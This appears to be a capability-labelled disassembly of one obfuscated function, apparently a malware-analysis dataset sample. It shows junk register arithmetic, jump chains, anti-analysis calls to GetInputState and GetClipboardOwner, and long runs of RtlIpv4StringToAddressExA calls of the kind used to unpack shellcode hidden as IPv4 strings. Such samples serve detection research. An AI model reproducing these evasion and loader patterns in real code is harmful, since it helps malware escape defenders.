Function at 0x401000
Capabilities:
Encrypt data using chaskey
Hash data using murmur3

Disassembly:
add edx, ebx
and edx, ebx
mov ecx, 0xd0197e21
bswap ebx
sub ecx, ebx
xor edx, esi
xor ebx, edx
call sub.user32.dll_GetInputState
shl ebx, 1
and esi, ecx
or ecx, ebx
cmp eax, 0xfffffed9
jne 0x4010b0
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
ret
or ebx, 0xd022b0c2
sub edx, 0xd022f349
call sub.user32.dll_GetClipboardOwner
xchg ecx, esi
add ecx, ebx
dec edx
xchg ebx, esi
cmp eax, 0xfffffefe
jne 0x401151
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
ret
mov ecx, ebx
sub ebx, esi
xchg ecx, esi
rol ecx, 0x1b
xor ebx, 0xd0308a36
call sub.user32.dll_GetClipboardOwner
xchg ebx, ecx
and ebx, esi
rol ebx, 0xb
and esi, ecx
cmp eax, 0xffffff01
jne 0x401215
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
ret
jmp 0x5057b9
mov ebx, esi
shr esi, 0x18
and esi, ebx
jmp 0x507478
pop ebx
add esi, edi
xchg esi, ecx
dec ecx
xor edx, esi
or edx, edi
or edx, edi
ror edi, 0xe
ror esi, 4
xchg esi, ecx
add edi, 0xdd470a51
mov edi, edx
jmp 0x508a26
pop ebx
and esi, 0xdd4fa8e9
add edi, 0xdd4fe86f
add edx, esi
sub ecx, edx
xchg esi, edx
add esi, edi
bswap ecx
mov edi, ecx
mov edi, edx
jmp 0x507146
pop ebx
xor edi, ecx
add esi, ecx
and esi, edx
xchg ecx, edx
xor ecx, 0xddd80575
and edx, ecx
add edi, esi
rol edx, 0xe
xor edi, 0xddda7ab8
and ecx, 0xdddab5c8
xchg edx, edi
bswap edi
mov ecx, edx
shr ecx, 0xe
jmp 0x508901
pop ebx
or esi, ecx
shl ecx, 0x1d
shr edx, 8
xor ecx, edi
add edx, 0xde177451
or edi, ecx
shr edi, 0x13
and edx, 0xde18da28
rol edi, 0x1d
bswap ecx
add edi, esi
jmp 0x506f58
mov ebx, 0x123b2f04
sub esi, 0xde362646
sub edi, 0xde366fb5
mov esi, edi
jmp 0x508956
push 0xd13d9443
and esi, ecx
sub esi, edx
or edx, edi
shl edi, 9
and esi, edi
sub edx, edi
sub edx, esi
bswap edi
jmp 0x5070d9
push 0xd13f6fb6
or esi, 0xde9f4065
rol ecx, 0xd
or edx, ecx
and esi, ecx
or edx, edi
neg edx
xchg edi, ecx
jmp 0x50735d
push 0xd13d6e6d
mov edi, 0xdf5e25ca
xchg ecx, edi
xchg ecx, edi
and esi, 0xdf5ee1cb
sub edx, esi
add edx, edi
xor edi, edx
bswap edx
xor edi, 0xdf602760
jmp 0x5064e1
call fcn.00509174
ror edx, 0x1d
rol esi, 0x13
and ecx, esi
and edi, edx
xchg edi, edx
neg edx
inc ecx
rol ecx, 0x15
xor esi, edx
jmp 0x508552
push 0xd13d14eb
and edi, edx
add edx, ecx
mov edx, ecx
or edx, esi
rol ecx, 0x14
shl ecx, 0xc
bswap esi
rol esi, 0x1e
jmp 0x5070f9
push 0xd13dbd4d
xor ecx, edx
sub edx, 0xdfb23f3b
bswap edi
and ecx, 0xdfb3047f
mov edx, ecx
not esi
mov edi, ecx
jmp 0x5062e2
push 0xd13d4099
add esi, ecx
xor edx, esi
shr edx, 0xc
bswap edx
sub edi, ecx
sub edi, esi
xor edi, edx
jmp 0x506caa
pop ebx
rol esi, 0x16
ror esi, 3
dec ecx
rol ecx, 0xe
rol edx, 0x11
not ecx
jmp 0x505c59
jmp loc.0050e000
mov ebx, 0x2774562b
and esi, ecx
sub edx, 0xdfe4179f
neg ecx
xchg ecx, esi
add esi, ecx
xor edi, edx
ror edi, 4
sub ecx, edx
mov edx, 0xdfe5d7dd
jmp 0x5072c3
push 0xd13c21f1
sub edi, esi
mov edx, edi
bswap edx
ror esi, 6
or edx, esi
jmp 0x508c49
call ebx
add edi, ecx
sub esi, 0xe1fc4977
or edi, ecx
dec ecx
xchg esi, edx
or ecx, esi
add esi, edi
xchg ecx, edx
mov ecx, esi
xor esi, 0xe1fe4496
sub edx, edi
and ecx, esi
and edx, edi
rol edi, 0xf
add ecx, 0xe1ffae2b
jmp 0x505cbb
call ebx
xor edx, 0xe226676f
dec esi
and edi, esi
bswap esi
sub edx, ecx
jmp 0x506153
push 0xd13f40e0
xchg esi, ecx
sub ecx, esi
add esi, 0xe27d2ecb
xchg esi, ecx
or edx, esi
not edi
neg edi
xchg edi, ecx
mov edx, edi
or ecx, 0xe2806fe2
sub edi, edx
add ecx, edi
and ecx, esi
or edi, 0xe281b2d2
or esi, ecx
jmp 0x50684f
call fcn.00509174
bswap edx
dec edx
xor edi, edx
xchg esi, edx
neg esi
ror ecx, 0x17
and ecx, 0xe2861010
add esi, ecx
and edx, edi
jmp 0x508301
pop ebx
and edi, edx
or edx, edi
or ecx, edx
sub esi, 0xe292e624
xchg esi, edi
and edx, edi
xor esi, edi
sub edx, esi
and edx, esi
xor ecx, edi
xchg esi, edi
and edi, edx
xchg edx, edi
mov edi, edx
and edx, esi
jmp 0x505f92
mov ebx, 0x2774562b
xor ecx, edx
xchg esi, edx
not edi
neg edi
or edx, ecx
jmp 0x506e00